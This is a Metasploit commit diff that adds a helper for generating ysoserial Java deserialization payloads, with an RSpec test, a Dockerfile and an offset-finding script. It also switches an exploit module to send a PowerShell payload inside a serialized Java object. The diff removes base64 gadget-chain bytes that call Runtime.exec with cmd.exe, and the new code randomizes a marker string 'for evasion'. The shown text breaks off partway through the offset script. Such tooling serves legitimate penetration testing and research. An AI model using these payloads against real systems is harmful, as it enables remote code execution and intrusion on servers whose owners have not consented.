Land #11125, Import/generate `ysoserial` Java serialization objects
commit
27d6fffdad
File diff suppressed because one or more lines are too long
|
@ -28,3 +28,6 @@ require 'msf/util/host'
|
||||||
|
|
||||||
# DBManager helpers
|
# DBManager helpers
|
||||||
require 'msf/util/db_manager'
|
require 'msf/util/db_manager'
|
||||||
|
|
||||||
|
# Java deserialization payload generators
|
||||||
|
require 'msf/util/java_deserialization'
|
||||||
|
|
|
@ -0,0 +1,66 @@
|
||||||
|
module Msf
|
||||||
|
module Util
|
||||||
|
|
||||||
|
require 'json'
|
||||||
|
|
||||||
|
# TODO:
|
||||||
|
# Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
|
||||||
|
|
||||||
|
class JavaDeserialization
|
||||||
|
|
||||||
|
PAYLOAD_FILENAME = "ysoserial_payloads.json"
|
||||||
|
|
||||||
|
def self.ysoserial_payload(payload_name, command=nil)
|
||||||
|
# Open the JSON file and parse it
|
||||||
|
begin
|
||||||
|
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
|
||||||
|
json = JSON.parse(File.read(path))
|
||||||
|
rescue Errno::ENOENT, JSON::ParserError
|
||||||
|
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
|
||||||
|
end
|
||||||
|
|
||||||
|
raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if json[payload_name].nil?
|
||||||
|
|
||||||
|
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
|
||||||
|
payload = json[payload_name]
|
||||||
|
|
||||||
|
# Based on the status, we'll raise an exception, return a static payload, or
|
||||||
|
# generate a dynamic payload with modifications at the specified offsets
|
||||||
|
case payload['status']
|
||||||
|
when 'unsupported'
|
||||||
|
# This exception will occur most commonly with complex payloads that require more than a string
|
||||||
|
raise ArgumentError, 'ysoserial payload is unsupported'
|
||||||
|
when 'static'
|
||||||
|
# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
|
||||||
|
return Rex::Text.decode_base64(payload['bytes'])
|
||||||
|
when 'dynamic'
|
||||||
|
raise ArgumentError, 'missing command parameter' if command.nil?
|
||||||
|
|
||||||
|
bytes = Rex::Text.decode_base64(payload['bytes'])
|
||||||
|
|
||||||
|
# Insert buffer
|
||||||
|
buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
|
||||||
|
bytes[buffer_offset - 1] += command
|
||||||
|
|
||||||
|
# Overwrite length (multiple times, if necessary)
|
||||||
|
length_offsets = payload['lengthOffset']
|
||||||
|
length_offsets.each do |length_offset|
|
||||||
|
# Extract length as a 16-bit unsigned int, then add the length of the command string
|
||||||
|
length = bytes[(length_offset-1)..length_offset].unpack('n').first
|
||||||
|
length += command.length.ord
|
||||||
|
length = [length].pack("n")
|
||||||
|
bytes[(length_offset-1)..length_offset] = length
|
||||||
|
end
|
||||||
|
|
||||||
|
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
|
||||||
|
bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))
|
||||||
|
|
||||||
|
return bytes
|
||||||
|
else
|
||||||
|
raise RuntimeError, 'Malformed JSON file'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -97,7 +97,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
data = set_payload
|
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
|
||||||
|
data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)
|
||||||
|
|
||||||
print_status "Sending serialized Java object (#{data.length} bytes)..."
|
print_status "Sending serialized Java object (#{data.length} bytes)..."
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
|
@ -106,49 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'data' => data
|
'data' => data
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
def set_payload
|
|
||||||
# JSON1 Serialized Stream start, middle and end, base64 encoded (from https://github.com/pimps/ysoserial-modified)
|
|
||||||
# Recreation steps:
|
|
||||||
# wget https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
|
|
||||||
# java -jar ysoserial-modified.jar JSON1 cmd "" > jsonss
|
|
||||||
# dd bs=1 if=jsonss of=jsonss_start skip=0 count=2645
|
|
||||||
# dd bs=1 if=jsonss of=jsonss_mid skip=2647 count=1230
|
|
||||||
# dd bs=1 if=jsonss of=jsonss_end skip=3879
|
|
||||||
# for i in `ls jsonss_*`; do
|
|
||||||
# cat $i | base64 -w0 > $i.b64
|
|
||||||
# echo "$i=\"`cat $i.b64 `\""
|
|
||||||
# done
|
|
||||||
# NOTE: The `jsonss_end` contains two randomized strings (eg. "ysoserial/Pwner141434911504672")
|
|
||||||
|
|
||||||
jsonss_start = Rex::Text.decode_base64 "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB+ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB+ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY+LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB+ACBxAH4AIHhzcQB+ACFwdwQAAAABcQB+ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6/T/jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4AJ3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB+ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9+DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AHEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAA="
|
|
||||||
jsonss_mid = Rex::Text.decode_base64 "yv66vgAAADMAPwoAAwAiBwA9BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAEGphdmEvbGFuZy9TdHJpbmcHADABAAdjbWQuZXhlCAAyAQACL2MIADQB"
|
|
||||||
jsonss_end = Rex::Text.decode_base64 "CAA2AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADgAOQoAKwA6AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjE0MTQzNDkxMTUwNDY3MgEAIEx5c29zZXJpYWwvUHduZXIxNDE0MzQ5MTE1MDQ2NzI7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAMAAOAAAADAABAAAABQAPAD4AAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANQAOAAAAIAADAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOQAOAAAAKgAEAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAANQAGAAIAAAAgpwADAUy4AC8GvQAxWQMSM1NZBBI1U1kFEjdTtgA7V7EAAAABADwAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AEYAAAHUyv66vgAAADMAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9zaXRlVHlwZTt4cQB+ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB+ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AUnEAfgAdcQB+AAVzcQB+AAJxAH4AB3EAfgBMcQB+AFN4"
|
|
||||||
|
|
||||||
# Generate Payload
|
|
||||||
cmd = gen_payload
|
|
||||||
tmp = 0x06d3 + cmd.length # Magic number plus length of the cmd
|
|
||||||
tmp = tmp.to_s(16)
|
|
||||||
length_param = [tmp.rjust(4,'0')].pack("H*")
|
|
||||||
|
|
||||||
# Convert command length to binary (two bytes, big-endian)
|
|
||||||
tmp = cmd.length.to_s(16)
|
|
||||||
cmd_size = [tmp.rjust(4,'0')].pack("H*")
|
|
||||||
|
|
||||||
# Some assembly required
|
|
||||||
serialized_data = jsonss_start
|
|
||||||
serialized_data += length_param
|
|
||||||
serialized_data += jsonss_mid
|
|
||||||
serialized_data += cmd_size
|
|
||||||
serialized_data += cmd
|
|
||||||
serialized_data += jsonss_end
|
|
||||||
|
|
||||||
return serialized_data
|
|
||||||
end
|
|
||||||
|
|
||||||
def gen_payload
|
|
||||||
# Powershell payload
|
|
||||||
cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,80 @@
|
||||||
|
require 'rex'
|
||||||
|
require 'msf/util/java_deserialization'
|
||||||
|
|
||||||
|
RSpec.describe Msf::Util::JavaDeserialization do
|
||||||
|
let(:payload_name) do
|
||||||
|
'PAYLOAD_NAME'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:default_command) do
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#ysoserial_payload' do
|
||||||
|
context 'when default payload name is changed' do
|
||||||
|
it 'raises a RuntimeError' do
|
||||||
|
payload_filename_constant = Msf::Util::JavaDeserialization.const_get(:PAYLOAD_FILENAME)
|
||||||
|
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, 'INVALID')
|
||||||
|
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
|
||||||
|
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, payload_filename_constant)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when default payload is not found' do
|
||||||
|
it 'raises a RuntimeError' do
|
||||||
|
allow(File).to receive(:join).and_return('INVALID')
|
||||||
|
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when default payload is not JSON format' do
|
||||||
|
it 'raises a JSON::ParserError error' do
|
||||||
|
allow(File).to receive(:read).and_return('BAD DATA')
|
||||||
|
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(JSON::ParserError)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when payload status is unsupported' do
|
||||||
|
it 'raises a unsupported error' do
|
||||||
|
json_data = %Q|{"BeanShell1":{"status":"unsupported","bytes":"AAAA"}}|
|
||||||
|
allow(File).to receive(:read).and_return(json_data)
|
||||||
|
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when payload status is static' do
|
||||||
|
let(:payload_name) do
|
||||||
|
'BeanShell1'
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns a Base64 string' do
|
||||||
|
original_bytes = 'AAAA'
|
||||||
|
b64 = Rex::Text.encode_base64(original_bytes)
|
||||||
|
json_data = %Q|{"BeanShell1":{"status":"static","bytes":"#{b64}"}}|
|
||||||
|
allow(File).to receive(:read).and_return(json_data)
|
||||||
|
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
|
||||||
|
expect(p).to eq(original_bytes)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when payload status is dynamic' do
|
||||||
|
let(:payload_name) do
|
||||||
|
'BeanShell1'
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when missing a command' do
|
||||||
|
it 'raises an argument error' do
|
||||||
|
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when a command is provided' do
|
||||||
|
it 'returns serialized data' do
|
||||||
|
default_command = 'id'
|
||||||
|
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
|
||||||
|
expect(p).to include('java.awt.event')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,32 @@
|
||||||
|
# A docker container to generate empty ysoserial payloads and metadata to allow for
|
||||||
|
# dynamically creating payloads within related projects, such as Metasploit
|
||||||
|
#
|
||||||
|
# Created by: Aaron Soto, Rapid7 Metasploit Team, 2018-DEC-11
|
||||||
|
#
|
||||||
|
# To run:
|
||||||
|
# docker build -t ysoserial-payloads . && docker run -i ysoserial-payloads > ysoserial_offsets.json
|
||||||
|
#
|
||||||
|
# Note: There will be ruby gem errors. It's fine.
|
||||||
|
# We attempt to use the ysoserial-modified fork, then fail back to the original ysoserial project.
|
||||||
|
# You will see warnings, but we're doing our best. :-)
|
||||||
|
|
||||||
|
FROM ubuntu
|
||||||
|
|
||||||
|
RUN apt update && apt -y upgrade
|
||||||
|
# Dependencies: wget (to download ysoserial)
|
||||||
|
# openjdk-8-jre-headless (to execute ysoserial)
|
||||||
|
# make, gcc (to install the 'json' ruby gem)
|
||||||
|
RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc
|
||||||
|
|
||||||
|
# Download the latest ysoserial-modified
|
||||||
|
RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar
|
||||||
|
RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
|
||||||
|
|
||||||
|
# Install gems: diff-lcs (to diff the ysoserial output)
|
||||||
|
# json (to print the scripts results in JSON)
|
||||||
|
# pry (to debug issues)
|
||||||
|
RUN gem install --silent diff-lcs json pry
|
||||||
|
|
||||||
|
COPY find_ysoserial_offsets.rb /
|
||||||
|
|
||||||
|
CMD ruby /find_ysoserial_offsets.rb
|
|
@ -0,0 +1,224 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
require 'diff-lcs'
|
||||||
|
require 'json'
|
||||||
|
require 'base64'
|
||||||
|
require 'open3'
|
||||||
|
|
||||||
|
YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner'
|
||||||
|
PAYLOAD_TEST_MIN_LENGTH = 4
|
||||||
|
PAYLOAD_TEST_MAX_LENGTH = 5
|
||||||
|
|
||||||
|
# ARGV parsing
|
||||||
|
if ARGV.include?("-h")
|
||||||
|
puts 'ysoserial object template generator'
|
||||||
|
puts
|
||||||
|
puts 'Usage:'
|
||||||
|
puts ' -h Help'
|
||||||
|
puts ' -d Debug mode (output offset information only)'
|
||||||
|
puts " -m [type] Use 'ysoserial-modified' with the specified payload type"
|
||||||
|
puts
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
|
||||||
|
debug = ARGV.include?('-d')
|
||||||
|
ysoserial_modified = ARGV.include?('-m')
|
||||||
|
if ysoserial_modified
|
||||||
|
payload_type = ARGV[ARGV.find_index('-m')+1]
|
||||||
|
unless ['cmd', 'bash', 'powershell', 'none'].include?(payload_type)
|
||||||
|
STDERR.puts 'ERROR: Invalid payload type specified'
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_payload(payload_name,search_string_length)
|
||||||
|
# Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload
|
||||||
|
searchString = 'A' * search_string_length
|
||||||
|
|
||||||
|
# Build the command line with ysoserial parameters
|
||||||
|
if ysoserial_modified
|
||||||
|
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar',payload_name.to_s,payload_type.to_s,searchString.to_s)
|
||||||
|
else
|
||||||
|
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar',payload_name.to_s,searchString.to_s)
|
||||||
|
end
|
||||||
|
|
||||||
|
payload = stdout
|
||||||
|
payload.force_encoding('binary')
|
||||||
|
|
||||||
|
if payload.length == 0 && stderr.length > 0
|
||||||
|
# Pipe errors out to the console
|
||||||
|
STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")}
|
||||||
|
elsif stderr.include? 'java.lang.IllegalArgumentException'
|
||||||
|
#STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported"
|
||||||
|
return nil
|
||||||
|
elsif stderr.include? 'Error while generating or serializing payload'
|
||||||
|
#STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported"
|
||||||
|
return nil
|
||||||
|
elsif stdout == "\xac\xed\x00\x05\x70"
|
||||||
|
#STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported"
|
||||||
|
return nil
|
||||||
|
else
|
||||||
|
#STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}"
|
||||||
|
|
||||||
|
# Strip out the semi-randomized ysoserial string and trailing newline
|
||||||
|
payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000')
|
||||||
|
return payload
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_payload_array(payload_name)
|
||||||
|
# Generate and return a number of payloads, each with increasingly longer strings, for future comparison
|
||||||
|
payload_array = []
|
||||||
|
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
|
||||||
|
payload = generate_payload(payload_name,i)
|
||||||
|
return nil if payload.nil?
|
||||||
|
payload_array[i] = payload
|
||||||
|
end
|
||||||
|
|
||||||
|
payload_array
|
||||||
|
end
|
||||||
|
|
||||||
|
def isLengthOffset?(current_byte, next_byte)
|
||||||
|
# If this byte has been changed, and is different by one, then it must be a length value
|
||||||
|
if next_byte && current_byte.position == next_byte.position && current_byte.action == "-"
|
||||||
|
if next_byte.element.ord - current_byte.element.ord == 1
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def isBufferOffset?(current_byte, next_byte)
|
||||||
|
# If this byte has been inserted, then it must be part of the increasingly large payload buffer
|
||||||
|
if (current_byte.action == '+' && (next_byte.nil? || (current_byte.position != next_byte.position)))
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def diff(a,b)
|
||||||
|
return nil if a.nil? or b.nil?
|
||||||
|
|
||||||
|
diffs = []
|
||||||
|
obj = Diff::LCS.diff(a,b)
|
||||||
|
obj.each do |i|
|
||||||
|
i.each do |j|
|
||||||
|
diffs.push(j)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
diffs
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_payload_list
|
||||||
|
# Call ysoserial and return the list of payloads that can be generated
|
||||||
|
payloads = `java -jar ysoserial-original.jar 2>&1`
|
||||||
|
payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')
|
||||||
|
payloads = payloads.split("\n")
|
||||||
|
|
||||||
|
